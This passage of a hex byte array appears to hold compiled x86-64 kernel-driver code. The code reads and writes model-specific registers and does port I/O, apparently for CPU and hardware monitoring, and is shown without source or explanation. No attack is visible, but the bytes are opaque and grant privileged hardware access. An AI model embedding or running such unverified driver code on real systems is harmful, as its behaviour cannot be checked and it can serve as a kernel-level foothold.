0x8B, 0xD1, 0x48, 0xC1, 0xEA, 0x20, 0xB9, 0x3E, 0x08, 0x00, 0x00, 0x41, 0x8B, 0xC1, 0x0F, 0x30, 0x4C, 0x8B, 0x94, 0x24, 0x78, 0x02, 0x00, 0x00, 0x49, 0x8B, 0xD2, 0x48, 0xC1, 0xEA, 0x20, 0xB9, 0x38, 0x08, 0x00, 0x00, 0x41, 0x8B, 0xC2, 0x0F, 0x30, 0x45, 0x89, 0x45, 0x00, 0x49, 0xC1, 0xE8, 0x20, 0x45, 0x89, 0x45, 0x04, 0x45, 0x89, 0x4D, 0x08, 0x45, 0x89, 0x55, 0x0C, 0x49, 0xC7, 0x46, 0x38, 0x10, 0x00, 0x00, 0x00, 0x41, 0xC7, 0x46, 0x30, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0x07, 0x0B, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x73, 0x11, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xF0, 0x0A, 0x00, 0x00, 0xB9, 0xE8, 0x00, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1,
0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x4C, 0x8B, 0xE0, 0xB9, 0xE7, 0x00, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x48, 0x8B, 0xF0, 0x48, 0x8D, 0x8C, 0x24, 0x88, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x71, 0x18, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x48, 0x8B, 0x8C, 0x24, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x14, 0x89, 0x48, 0xB8, 0xCF, 0xF7, 0x53, 0xE3, 0xA5, 0x9B, 0xC4, 0x20, 0x48, 0xF7, 0xEA, 0x48, 0x8B, 0xDA, 0x48, 0xC1, 0xFB, 0x07, 0x48, 0x8B, 0xD3, 0x48, 0xC1, 0xEA, 0x3F, 0x48, 0x03, 0xDA, 0x33, 0xC9, 0xFF, 0x15, 0x3C, 0x18, 0x00, 0x00, 0x48, 0x2B, 0xC7, 0x48, 0x3B, 0xC3, 0x7C, 0xF0, 0xB9, 0xE8, 0x00, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x48, 0x8B, 0xD8, 0xB9, 0xE7, 0x00, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20,
0x48, 0x0B, 0xC2, 0x48, 0x8B, 0xF8, 0x33, 0xC9, 0xFF, 0x15, 0x0A, 0x18, 0x00, 0x00, 0x49, 0x2B, 0xDC, 0x66, 0x0F, 0xEF, 0xD2, 0xF2, 0x48, 0x0F, 0x2A, 0xD3, 0x79, 0x0E, 0xF2, 0x0F, 0x10, 0x05, 0x24, 0x19, 0x00, 0x00, 0xF2, 0x0F, 0x58, 0xD0, 0xEB, 0x08, 0xF2, 0x0F, 0x10, 0x05, 0x16, 0x19, 0x00, 0x00, 0x48, 0x2B, 0xFE, 0x66, 0x0F, 0xEF, 0xC9, 0xF2, 0x48, 0x0F, 0x2A, 0xCF, 0x79, 0x04, 0xF2, 0x0F, 0x58, 0xC8, 0x66, 0x0F, 0x28, 0xC1, 0x66, 0x0F, 0x54, 0x05, 0xE0, 0x18, 0x00, 0x00, 0x66, 0x0F, 0x2F, 0x05, 0x00, 0x19, 0x00, 0x00, 0x76, 0x16, 0x66, 0x0F, 0x28, 0xC2, 0xF2, 0x0F, 0x59, 0x05, 0xC2, 0x18, 0x00, 0x00, 0xF2, 0x0F, 0x5E, 0xC1, 0xF2, 0x0F, 0x5A, 0xD8, 0xEB, 0x03, 0x0F, 0x57, 0xDB, 0xF3, 0x48, 0x0F, 0x2C, 0xC3, 0x41, 0x89, 0x45, 0x00, 0xF2, 0x48, 0x0F, 0x2C,
0xC2, 0x41, 0x89, 0x45, 0x04, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0xC3, 0x09, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x0F, 0x82, 0xFF, 0x01, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x08, 0x0F, 0x82, 0xF5, 0x01, 0x00, 0x00, 0x44, 0x89, 0xBC, 0x24, 0xB4, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x00, 0x89, 0x84, 0x24, 0xB0, 0x01, 0x00, 0x00, 0x45, 0x33, 0xC0, 0xBA, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xB0, 0x01, 0x00, 0x00, 0xFF, 0x15, 0xE7, 0x17, 0x00, 0x00, 0x4C, 0x8B, 0xD8, 0x45, 0x8B, 0x4D, 0x04, 0x44, 0x89, 0x8C, 0x24, 0xA4, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xC9, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x4C, 0x8B, 0xC0, 0x48,
0x89, 0x84, 0x24, 0x30, 0x02, 0x00, 0x00, 0x41, 0x8B, 0x8B, 0xF4, 0x00, 0x00, 0x00, 0x66, 0x0F, 0xEF, 0xD2, 0xF2, 0x48, 0x0F, 0x2A, 0xD1, 0xF2, 0x0F, 0x10, 0x1D, 0x01, 0x18, 0x00, 0x00, 0xF2, 0x0F, 0x59, 0xD3, 0x41, 0x8B, 0x8B, 0xF0, 0x00, 0x00, 0x00, 0x66, 0x0F, 0xEF, 0xC0, 0xF2, 0x48, 0x0F, 0x2A, 0xC1, 0xF2, 0x0F, 0x58, 0xD0, 0xF2, 0x0F, 0x11, 0x94, 0x24, 0x28, 0x02, 0x00, 0x00, 0xBF, 0x50, 0xC3, 0x00, 0x00, 0x89, 0xBC, 0x24, 0x40, 0x01, 0x00, 0x00, 0xF2, 0x0F, 0x10, 0x25, 0xC4, 0x17, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xC9, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x49, 0x3B, 0xC0, 0x73, 0x45, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x4C, 0x8B, 0xC0, 0x48, 0x89, 0x84,
0x24, 0x30, 0x02, 0x00, 0x00, 0x41, 0x8B, 0x83, 0xF4, 0x00, 0x00, 0x00, 0x66, 0x0F, 0xEF, 0xD2, 0xF2, 0x48, 0x0F, 0x2A, 0xD0, 0xF2, 0x0F, 0x59, 0xD3, 0x41, 0x8B, 0x83, 0xF0, 0x00, 0x00, 0x00, 0x66, 0x0F, 0xEF, 0xC0, 0xF2, 0x48, 0x0F, 0x2A, 0xC0, 0xF2, 0x0F, 0x58, 0xD0, 0xF2, 0x0F, 0x11, 0x94, 0x24, 0x28, 0x02, 0x00, 0x00, 0x41, 0x8B, 0x83, 0xF4, 0x00, 0x00, 0x00, 0x66, 0x0F, 0xEF, 0xC9, 0xF2, 0x48, 0x0F, 0x2A, 0xC8, 0xF2, 0x0F, 0x59, 0xCB, 0x41, 0x8B, 0x83, 0xF0, 0x00, 0x00, 0x00, 0x66, 0x0F, 0xEF, 0xC0, 0xF2, 0x48, 0x0F, 0x2A, 0xC0, 0xF2, 0x0F, 0x58, 0xC8, 0x83, 0xEF, 0x01, 0x89, 0xBC, 0x24, 0x40, 0x01, 0x00, 0x00, 0x78, 0x0E, 0xF2, 0x0F, 0x5C, 0xCA, 0x66, 0x0F, 0x2F, 0xE1, 0x0F, 0x87, 0x68, 0xFF, 0xFF, 0xFF, 0x41, 0x8B, 0xC9, 0x0F, 0x32, 0x48, 0xC1, 0xE2,
0x20, 0x48, 0x0B, 0xC2, 0x41, 0x8B, 0x8B, 0xF4, 0x00, 0x00, 0x00, 0x66, 0x0F, 0xEF, 0xC9, 0xF2, 0x48, 0x0F, 0x2A, 0xC9, 0xF2, 0x0F, 0x59, 0xCB, 0x41, 0x8B, 0x8B, 0xF0, 0x00, 0x00, 0x00, 0x66, 0x0F, 0xEF, 0xC0, 0xF2, 0x48, 0x0F, 0x2A, 0xC1, 0xF2, 0x0F, 0x58, 0xC8, 0xF2, 0x0F, 0x5C, 0xCA, 0x66, 0x0F, 0xEF, 0xC0, 0xF2, 0x48, 0x0F, 0x2A, 0xC0, 0x79, 0x0E, 0xF2, 0x0F, 0x10, 0x15, 0x05, 0x17, 0x00, 0x00, 0xF2, 0x0F, 0x58, 0xC2, 0xEB, 0x08, 0xF2, 0x0F, 0x10, 0x15, 0xF7, 0x16, 0x00, 0x00, 0x66, 0x0F, 0xEF, 0xDB, 0xF2, 0x49, 0x0F, 0x2A, 0xD8, 0x4D, 0x85, 0xC0, 0x79, 0x04, 0xF2, 0x0F, 0x58, 0xDA, 0xF2, 0x0F, 0x5C, 0xC3, 0xF2, 0x0F, 0x59, 0x05, 0xA1, 0x16, 0x00, 0x00, 0xF2, 0x0F, 0x5E, 0xC1, 0xF2, 0x48, 0x0F, 0x2C, 0xD8, 0xBA, 0x00, 0x02, 0x00, 0x00, 0x49, 0x8B, 0xCB,
0xFF, 0x15, 0xC2, 0x15, 0x00, 0x00, 0x41, 0x89, 0x7D, 0x00, 0x41, 0x89, 0x5D, 0x04, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0xBA, 0x07, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xA9, 0x07, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x0F, 0x82, 0xCC, 0x00, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x04, 0x0F, 0x82, 0xC2, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x75, 0x00, 0x89, 0xB4, 0x24, 0xA4, 0x00, 0x00, 0x00, 0x8B, 0xCE, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x4C, 0x8B, 0xE0, 0x48, 0x8D, 0x8C, 0x24, 0xC0, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x1F, 0x15, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x48, 0x8B, 0x8C, 0x24,
0xC0, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x14, 0x89, 0x48, 0xB8, 0xCF, 0xF7, 0x53, 0xE3, 0xA5, 0x9B, 0xC4, 0x20, 0x48, 0xF7, 0xEA, 0x48, 0x8B, 0xDA, 0x48, 0xC1, 0xFB, 0x07, 0x48, 0x8B, 0xD3, 0x48, 0xC1, 0xEA, 0x3F, 0x48, 0x03, 0xDA, 0x33, 0xC9, 0xFF, 0x15, 0xEA, 0x14, 0x00, 0x00, 0x48, 0x2B, 0xC7, 0x48, 0x3B, 0xC3, 0x7C, 0xF0, 0x8B, 0xCE, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x48, 0x8B, 0xD8, 0x33, 0xC9, 0xFF, 0x15, 0xCC, 0x14, 0x00, 0x00, 0x4C, 0x8B, 0xD8, 0x49, 0x2B, 0xDC, 0x48, 0x0F, 0xAF, 0x9C, 0x24, 0xC0, 0x01, 0x00, 0x00, 0x4C, 0x2B, 0xDF, 0x33, 0xD2, 0x48, 0x8B, 0xC3, 0x49, 0xF7, 0xF3, 0x48, 0x8B, 0xC8, 0x48, 0xC1, 0xE9, 0x20, 0x41, 0x89, 0x4D, 0x00, 0x41, 0x89, 0x45, 0x04, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E,
0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0xD3, 0x06, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xC2, 0x06, 0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x0F, 0x82, 0xC2, 0x03, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x2C, 0x0F, 0x82, 0xB8, 0x03, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x4C, 0x8D, 0x84, 0x24, 0xB4, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x94, 0x24, 0xAC, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x08, 0x01, 0x00, 0x00, 0xFF, 0x15, 0xA6, 0x14, 0x00, 0x00, 0x41, 0x8B, 0x4D, 0x04, 0x48, 0xC1, 0xE1, 0x20, 0x41, 0x8B, 0x45, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x89, 0x8C, 0x24, 0x68, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x55, 0x0C, 0x48, 0xC1, 0xE2, 0x20, 0x41, 0x8B, 0x45, 0x08, 0x48, 0x03, 0xD0,
0x48, 0x89, 0x94, 0x24, 0x78, 0x01, 0x00, 0x00, 0x45, 0x8B, 0x7D, 0x10, 0xB8, 0x03, 0x00, 0x00, 0x00, 0x44, 0x3B, 0xF8, 0x44, 0x0F, 0x47, 0xF8, 0x41, 0x8B, 0x45, 0x14, 0x89, 0x84, 0x24, 0x30, 0x03, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x18, 0x89, 0x84, 0x24, 0x40, 0x03, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x1C, 0x89, 0x84, 0x24, 0x48, 0x03, 0x00, 0x00, 0x45, 0x8B, 0x65, 0x20, 0x49, 0xC1, 0xE4, 0x20, 0x41, 0x8B, 0x45, 0x24, 0x4C, 0x03, 0xE0, 0x4C, 0x89, 0xA4, 0x24, 0x00, 0x02, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x28, 0x89, 0x44, 0x24, 0x78, 0x48, 0x85, 0xD2, 0x0F, 0x84, 0xE2, 0x02, 0x00, 0x00, 0x4C, 0x8B, 0x52, 0x10, 0x4D, 0x85, 0xD2, 0x0F, 0x84, 0xD5, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x4C, 0x8D, 0x49, 0x08, 0x4C, 0x89, 0x8C, 0x24, 0xD0, 0x01, 0x00, 0x00, 0x8B, 0x94,
0x24, 0x08, 0x01, 0x00, 0x00, 0x83, 0xFA, 0x06, 0x75, 0x0E, 0x8B, 0x84, 0x24, 0xAC, 0x00, 0x00, 0x00, 0x83, 0xF8, 0x04, 0x74, 0x12, 0xEB, 0x07, 0x8B, 0x84, 0x24, 0xAC, 0x00, 0x00, 0x00, 0x83, 0xFA, 0x0A, 0x75, 0x2B, 0x85, 0xC0, 0x75, 0x27, 0x44, 0x8B, 0x84, 0x24, 0xB4, 0x00, 0x00, 0x00, 0x41, 0x81, 0xF8, 0xBB, 0x37, 0x00, 0x00, 0x72, 0x1E, 0x4C, 0x8D, 0x49, 0x10, 0x4C, 0x89, 0x8C, 0x24, 0xD0, 0x01, 0x00, 0x00, 0x4C, 0x89, 0x8C, 0x24, 0xD0, 0x01, 0x00, 0x00, 0xEB, 0x08, 0x44, 0x8B, 0x84, 0x24, 0xB4, 0x00, 0x00, 0x00, 0x33, 0xDB, 0x48, 0x89, 0x5C, 0x24, 0x50, 0x83, 0xFA, 0x06, 0x73, 0x11, 0x48, 0x8D, 0x99, 0xE8, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x50, 0xE9, 0x94, 0x00, 0x00, 0x00, 0x83, 0xFA, 0x06, 0x75, 0x63, 0x83, 0xF8, 0x02, 0x73, 0x0E, 0x48, 0x8D,
0x99, 0x40, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x50, 0xEB, 0x7C, 0x83, 0xF8, 0x02, 0x75, 0x0E, 0x48, 0x8D, 0x99, 0xA0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x50, 0xEB, 0x69, 0x83, 0xF8, 0x03, 0x75, 0x0E, 0x48, 0x8D, 0x99, 0xB0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x50, 0xEB, 0x56, 0x83, 0xF8, 0x04, 0x75, 0x51, 0x41, 0x81, 0xF8, 0xBB, 0x37, 0x00, 0x00, 0x72, 0x0E, 0x48, 0x8D, 0x99, 0xC8, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x50, 0xEB, 0x3A, 0x48, 0x8D, 0x99, 0xC0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x50, 0xEB, 0x2C, 0x83, 0xFA, 0x0A, 0x75, 0x27, 0x85, 0xC0, 0x75, 0x23, 0x41, 0x81, 0xF8, 0xBB, 0x37, 0x00, 0x00, 0x72, 0x0E, 0x48, 0x8D, 0x99, 0xC8, 0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x50, 0xEB, 0x0C, 0x48, 0x8D, 0x99, 0xC0,
0x02, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x50, 0x48, 0x85, 0xDB, 0x0F, 0x84, 0xA3, 0x01, 0x00, 0x00, 0x49, 0x81, 0x39, 0x50, 0x47, 0x53, 0x5F, 0x0F, 0x85, 0x96, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x0B, 0x48, 0x89, 0x8C, 0x24, 0x58, 0x01, 0x00, 0x00, 0x83, 0xFA, 0x06, 0x75, 0x0E, 0x83, 0xF8, 0x03, 0x75, 0x09, 0x49, 0x8D, 0x42, 0x70, 0x48, 0x89, 0x03, 0xEB, 0x31, 0x83, 0xFA, 0x06, 0x75, 0x05, 0x83, 0xF8, 0x04, 0x74, 0x09, 0x83, 0xFA, 0x0A, 0x75, 0x1F, 0x85, 0xC0, 0x75, 0x1B, 0x41, 0x81, 0xF8, 0xBB, 0x37, 0x00, 0x00, 0x72, 0x09, 0x49, 0x8D, 0x42, 0x78, 0x48, 0x89, 0x03, 0xEB, 0x0C, 0x49, 0x8D, 0x42, 0x70, 0x48, 0x89, 0x03, 0xEB, 0x03, 0x4C, 0x89, 0x13, 0x41, 0x8B, 0xF7, 0x48, 0xC1, 0xE6, 0x03, 0x8D, 0x46, 0x19, 0x89, 0x44, 0x24, 0x64, 0x48, 0x89, 0x84, 0x24, 0x88,
0x01, 0x00, 0x00, 0x41, 0xB8, 0x50, 0x57, 0x4D, 0x45, 0x48, 0x8B, 0xD0, 0x33, 0xC9, 0xFF, 0x15, 0xBC, 0x12, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x05, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0x84, 0x24, 0x88, 0x01, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xC8, 0xE8, 0x0E, 0x0A, 0x00, 0x00, 0xC7, 0x07, 0x41, 0x65, 0x69, 0x43, 0x48, 0x8B, 0x8C, 0x24, 0x78, 0x01, 0x00, 0x00, 0xE8, 0xCB, 0xD1, 0xFF, 0xFF, 0x89, 0x47, 0x04, 0x89, 0x77, 0x08, 0x44, 0x89, 0x7F, 0x0C, 0x33, 0xC9, 0x66, 0x89, 0x4F, 0x10, 0xBE, 0x04, 0x00, 0x00, 0x00, 0x66, 0x89, 0x77, 0x12, 0x8B, 0x84, 0x24, 0x30, 0x03, 0x00, 0x00, 0x89, 0x47, 0x14, 0x41, 0x83, 0xFF, 0x01, 0x76, 0x12, 0x66, 0x89, 0x4F, 0x18, 0x66, 0x89, 0x77, 0x1A, 0x8B, 0x84, 0x24, 0x40, 0x03, 0x00, 0x00, 0x89, 0x47, 0x1C,
0x41, 0x83, 0xFF, 0x02, 0x76, 0x12, 0x66, 0x89, 0x4F, 0x20, 0x66, 0x89, 0x77, 0x22, 0x8B, 0x84, 0x24, 0x48, 0x03, 0x00, 0x00, 0x89, 0x47, 0x24, 0x41, 0x89, 0x0C, 0x24, 0xC7, 0x44, 0x24, 0x28, 0x14, 0x00, 0x00, 0x00, 0x4C, 0x89, 0x64, 0x24, 0x20, 0x44, 0x8B, 0x7C, 0x24, 0x64, 0x45, 0x8B, 0xCF, 0x4C, 0x8B, 0xC7, 0xBA, 0x04, 0xC0, 0x32, 0x00, 0x48, 0x8B, 0xB4, 0x24, 0x68, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xCE, 0xE8, 0xB7, 0xD3, 0xFF, 0xFF, 0x89, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x3D, 0x05, 0x00, 0x00, 0x80, 0x75, 0x2E, 0x41, 0x8B, 0x4C, 0x24, 0x04, 0x3B, 0x4C, 0x24, 0x78, 0x73, 0x23, 0x89, 0x4C, 0x24, 0x28, 0x4C, 0x89, 0x64, 0x24, 0x20, 0x45, 0x8B, 0xCF, 0x4C, 0x8B, 0xC7, 0xBA, 0x04, 0xC0, 0x32, 0x00, 0x48, 0x8B, 0xCE, 0xE8, 0x82, 0xD3, 0xFF, 0xFF, 0x89, 0x84,
0x24, 0x84, 0x00, 0x00, 0x00, 0x41, 0x89, 0x45, 0x00, 0x45, 0x89, 0x65, 0x04, 0x33, 0xD2, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0x98, 0x11, 0x00, 0x00, 0x4C, 0x8B, 0x9C, 0x24, 0x58, 0x01, 0x00, 0x00, 0x4C, 0x89, 0x1B, 0xEB, 0x2B, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0x89, 0x75, 0x04, 0x41, 0x89, 0x75, 0x00, 0xEB, 0x1C, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0x89, 0x75, 0x04, 0x41, 0x89, 0x75, 0x00, 0xEB, 0x0D, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0x89, 0x75, 0x04, 0x41, 0x89, 0x75, 0x00, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x41, 0x89, 0x46, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 0x41, 0x89, 0x46, 0x30, 0xE9, 0xF6, 0x02, 0x00, 0x00, 0x4D, 0x89, 0x7E, 0x38, 0x41, 0xC7, 0x46, 0x30, 0x23, 0x00, 0x00, 0xC0, 0xE9, 0xE5, 0x02,
0x00, 0x00, 0x83, 0x7A, 0x08, 0x08, 0x0F, 0x82, 0x60, 0x02, 0x00, 0x00, 0x83, 0x7A, 0x10, 0x14, 0x0F, 0x82, 0x56, 0x02, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x00, 0x89, 0x84, 0x24, 0xE4, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x04, 0x89, 0x84, 0x24, 0xE0, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x08, 0x89, 0x84, 0x24, 0x80, 0x01, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x0C, 0x8B, 0xF8, 0xC1, 0xEF, 0x10, 0x89, 0x7C, 0x24, 0x40, 0x0F, 0xB7, 0xD8, 0x89, 0x9C, 0x24, 0x0C, 0x02, 0x00, 0x00, 0x41, 0x8B, 0x45, 0x10, 0x89, 0x84, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x45, 0x8B, 0xE7, 0x85, 0xFF, 0x41, 0x0F, 0x94, 0xC4, 0x44, 0x89, 0xA4, 0x24, 0xBC, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC0, 0x41, 0x8D, 0x50, 0x20, 0x48, 0x8B, 0x8C, 0x24, 0xE0, 0x01, 0x00, 0x00, 0xFF, 0x15, 0xC9, 0x10, 0x00, 0x00, 0x48,
0x89, 0x84, 0x24, 0x18, 0x02, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x10, 0x48, 0x89, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x41, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x44, 0x89, 0x4C, 0x24, 0x70, 0x85, 0xDB, 0x0F, 0x84, 0xA4, 0x00, 0x00, 0x00, 0xBE, 0xE8, 0x03, 0x00, 0x00, 0x0F, 0xB7, 0x5C, 0x24, 0x34, 0x45, 0x85, 0xE4, 0x75, 0x13, 0x41, 0x2B, 0xF9, 0x89, 0x7C, 0x24, 0x40, 0x79, 0x0A, 0x44, 0x89, 0x7C, 0x24, 0x70, 0xE9, 0x62, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x84, 0x24, 0x30, 0x03, 0x00, 0x00, 0x0F, 0xB7, 0xD0, 0x66, 0x83, 0xCA, 0x04, 0x66, 0xD1, 0xFA, 0x48, 0x8B, 0x8C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0xF0, 0x66, 0x0F, 0xB1, 0x11, 0x66, 0x8B, 0xD8, 0x66, 0x89, 0x44, 0x24, 0x34, 0x41, 0x8B, 0xD7, 0x89, 0x94, 0x24, 0x60, 0x01, 0x00, 0x00, 0x41, 0x8B, 0xCF, 0x89,
0x8C, 0x24, 0x10, 0x01, 0x00, 0x00, 0x3B, 0xCE, 0x73, 0x14, 0xFF, 0xC2, 0x89, 0x94, 0x24, 0x60, 0x01, 0x00, 0x00, 0xFF, 0xC1, 0x89, 0x8C, 0x24, 0x10, 0x01, 0x00, 0x00, 0xEB, 0xE8, 0x66, 0x3B, 0x9C, 0x24, 0x30, 0x03, 0x00, 0x00, 0x75, 0x09, 0xF6, 0xC3, 0x02, 0x0F, 0x84, 0xF9, 0x00, 0x00, 0x00, 0x8B, 0x7C, 0x24, 0x40, 0x44, 0x8B, 0xA4, 0x24, 0xBC, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0xE9, 0x66, 0xFF, 0xFF, 0xFF, 0xBE, 0xE8, 0x03, 0x00, 0x00, 0x66, 0x8B, 0x5C, 0x24, 0x34, 0x45, 0x85, 0xE4, 0x75, 0x13, 0x41, 0x2B, 0xF9, 0x89, 0x7C, 0x24, 0x40, 0x79, 0x0A, 0x44, 0x89, 0x7C, 0x24, 0x70, 0xE9, 0x76, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x84, 0x24, 0x30, 0x03, 0x00, 0x00, 0x0F, 0xB7, 0xD0, 0x66, 0x83, 0xE2, 0xFC, 0x48, 0x8B,
0x8C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0xF0, 0x66, 0x0F, 0xB1, 0x11, 0x66, 0x8B, 0xD8, 0x66, 0x89, 0x44, 0x24, 0x34, 0x41, 0x8B, 0xCF, 0x89, 0x8C, 0x24, 0x48, 0x01, 0x00, 0x00, 0x41, 0x8B, 0xC7, 0x89, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x3B, 0xC6, 0x73, 0x14, 0xFF, 0xC1, 0x89, 0x8C, 0x24, 0x48, 0x01, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x84, 0x24, 0xD8, 0x00, 0x00, 0x00, 0xEB, 0xE8, 0x66, 0x3B, 0x9C, 0x24, 0x30, 0x03, 0x00, 0x00, 0x74, 0x19, 0x8B, 0x7C, 0x24, 0x40, 0x44, 0x8B, 0xA4, 0x24, 0xBC, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, 0xC0, 0x00, 0x00, 0x00, 0xE9, 0x72, 0xFF, 0xFF, 0xFF, 0x41, 0x84, 0xD9, 0x74, 0x43, 0x81, 0xBC, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x86, 0x80, 0x00, 0x00, 0x75, 0x18, 0x8B, 0x8C, 0x24, 0x80, 0x01, 0x00, 0x00, 0x85, 0xC9, 0x74, 0x2B, 0x66,
0x83, 0xC1, 0x30, 0x0F, 0xB7, 0xD1, 0xEC, 0x0C, 0x80, 0xEE, 0xEB, 0x1E, 0x81, 0xBC, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x22, 0x10, 0x00, 0x00, 0x75, 0x11, 0xBA, 0xD6, 0x0C, 0x00, 0x00, 0xB0, 0x74, 0xEE, 0xBA, 0xD7, 0x0C, 0x00, 0x00, 0xEC, 0x0C, 0x80, 0xEE, 0xBA, 0x20, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0x18, 0x02, 0x00, 0x00, 0xFF, 0x15, 0x8B, 0x0E, 0x00, 0x00, 0x44, 0x8B, 0x5C, 0x24, 0x70, 0x45, 0x89, 0x5D, 0x00, 0x0F, 0xBF, 0xC3, 0x41, 0x89, 0x45, 0x04, 0x49, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x45, 0x89, 0x7E, 0x30, 0xEB, 0x0C, 0x4C, 0x8B, 0xB4, 0x24, 0x38, 0x03, 0x00, 0x00, 